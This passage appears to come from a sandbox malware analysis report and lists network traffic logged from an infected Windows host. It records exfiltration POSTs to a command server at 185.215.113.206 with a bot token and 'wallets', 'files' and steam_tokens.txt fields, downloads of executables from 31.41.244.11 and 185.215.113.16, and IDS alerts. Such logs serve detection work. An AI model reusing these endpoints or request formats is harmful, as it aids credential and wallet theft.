73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 41 41 46 48 44 48 43 42 47 43 41 4b 46 48 44 41 4b 2d 2d 0d 0a Data Ascii: ------BFBAAFHDHCBGCAKFHDAKContent-Disposition: form-data; name="token"dcd2e77ea72410f9830510f765150728b1acb8d88139a11e5ff296458c52d6c2a09a1e4d------BFBAAFHDHCBGCAKFHDAKContent-Disposition: form-data; name="message"wallets------BFBAAFHDHCBGCAKFHDAK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCFIEHCFIECBGCBFHIJJHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 63 64 32 65 37 37 65 61 37 32 34 31 30 66 39 38 33 30 35 31 30 66 37 36 35 31 35 30 37 32 38 62 31 61 63 62 38 64 38 38 31 33 39 61 31 31 65 35 66 66 32 39 36 34 35 38 63 35 32 64 36 63 32 61 30 39 61 31 65 34 64 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 2d 2d 0d 0a Data Ascii: ------FCFIEHCFIECBGCBFHIJJContent-Disposition: form-data; name="token"dcd2e77ea72410f9830510f765150728b1acb8d88139a11e5ff296458c52d6c2a09a1e4d------FCFIEHCFIECBGCBFHIJJContent-Disposition: form-data; name="message"files------FCFIEHCFIECBGCBFHIJJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAECFHJEBAAFIEBGHIIEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 45 43 46 48 4a 45 42 41 41 46 49 45 42 47 48 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 63 64 32 65 37 37 65 61 37 32 34 31 30 66 39 38 33 30 35 31 30 66 37 36 35 31 35 30 37 32 38 62 31 61 63 62 38 64 38 38 31 33 39 61 31 31 65 35 66 66 32 39 36 34 35 38 63 35 32 64 36 63 32 61 30 39 61 31 65 34 64 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 43 46 48 4a 45 42 41 41 46 49 45 42 47 48 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 43 46 48 4a 45 42 41 41 46 49 45 42 47 48 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 43 46 48 4a 45 42 41 41 46 49 45 42 47 48 49 49 45 2d 2d 0d 0a Data Ascii: ------BAECFHJEBAAFIEBGHIIEContent-Disposition: form-data; name="token"dcd2e77ea72410f9830510f765150728b1acb8d88139a11e5ff296458c52d6c2a09a1e4d------BAECFHJEBAAFIEBGHIIEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BAECFHJEBAAFIEBGHIIEContent-Disposition: form-data; name="file"------BAECFHJEBAAFIEBGHIIE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGIDAAAKJJDBGCBFCBGIHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 49 44 41 41 41 4b 4a 4a 44 42 47 43 42 46 43 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 63 64 32 65 37 37 65 61 37 32 34 31 30 66 39 38 33 30 35 31 30 66 37 36 35 31 35 30 37 32 38 62 31 61 63 62 38 64 38 38 31 33 39 61 31 31 65 35 66 66 32 39 36 34 35 38 63 35 32 64 36 63 32 61 30 39 61 31 65 34 64 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 41 41 41 4b 4a 4a 44 42 47 43 42 46 43 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 41 41 41 4b 4a 4a 44 42 47 43 42 46 43 42 47 49 2d 2d 0d 0a Data Ascii: ------CGIDAAAKJJDBGCBFCBGIContent-Disposition: form-data; name="token"dcd2e77ea72410f9830510f765150728b1acb8d88139a11e5ff296458c52d6c2a09a1e4d------CGIDAAAKJJDBGCBFCBGIContent-Disposition: form-data; name="message"ybncbhylepme------CGIDAAAKJJDBGCBFCBGI--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBFBKFIDHIDGHJKFBGHCHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 46 42 4b 46 49 44 48 49 44 47 48 4a 4b 46 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 63 64 32 65 37 37 65 61 37 32 34 31 30 66 39 38 33 30 35 31 30 66 37 36 35 31 35 30 37 32 38 62 31 61 63 62 38 64 38 38 31 33 39 61 31 31 65 35 66 66 32 39 36 34 35 38 63 35 32 64 36 63 32 61 30 39 61 31 65 34 64 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 42 4b 46 49 44 48 49 44 47 48 4a 4b 46 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 42 4b 46 49 44 48 49 44 47 48 4a 4b 46 42 47 48 43 2d 2d 0d 0a Data Ascii: ------CBFBKFIDHIDGHJKFBGHCContent-Disposition: form-data; name="token"dcd2e77ea72410f9830510f765150728b1acb8d88139a11e5ff296458c52d6c2a09a1e4d------CBFBKFIDHIDGHJKFBGHCContent-Disposition: form-data; name="message"wkkjqaiaxkhb------CBFBKFIDHIDGHJKFBGHC--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 30 32 46 37 30 42 32 35 38 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B02F70B25882D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /files/1724962075/7mpPLxE.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 39 31 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008911001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.8:49705 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.8:49748 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.8:49841 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49943 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49961 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49963 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49968 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49974 -> 172.67.162.84:443

Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 26_2_0060BE30 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

26_2_0060BE30

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlaHLAQiFoM0BCNy9zQEIucrNAQiK080BCMfUzQEIodbNAQio2M0BCPnA1BUYwcvMARi60s0BGMXYzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlaHLAQiFoM0BCNy9zQEIucrNAQiK080BCMfUzQEIodbNAQio2M0BCPnA1BUYwcvMARi60s0BGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=S7xBxEvNluer2YN&MD=oSPPNWbl HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1733107185&P2=404&P3=2&P4=Syqd7Fm13Vsr%2fZeTakJimMZHaMsT1asw%2frWkP6ADgfLpcr8ejjrCVypnL1x%2bmUeSxT%2fl36ZAmVkmrNi2F%2fAo7A%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: VTYAwM7t1Laj+iGnH0iEVBSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b?rn=1732502392390&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=05128E14A2366A7423409B56A39E6B9C&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=05128E14A2366A7423409B56A39E6B9C&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-5438092865908489856&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=bca6dcac93404046d4ee4a032e480458 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=05128E14A2366A7423409B56A39E6B9C; _EDGE_S=F=1&SID=01BE231233A76E8E38A73650320E6F90; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
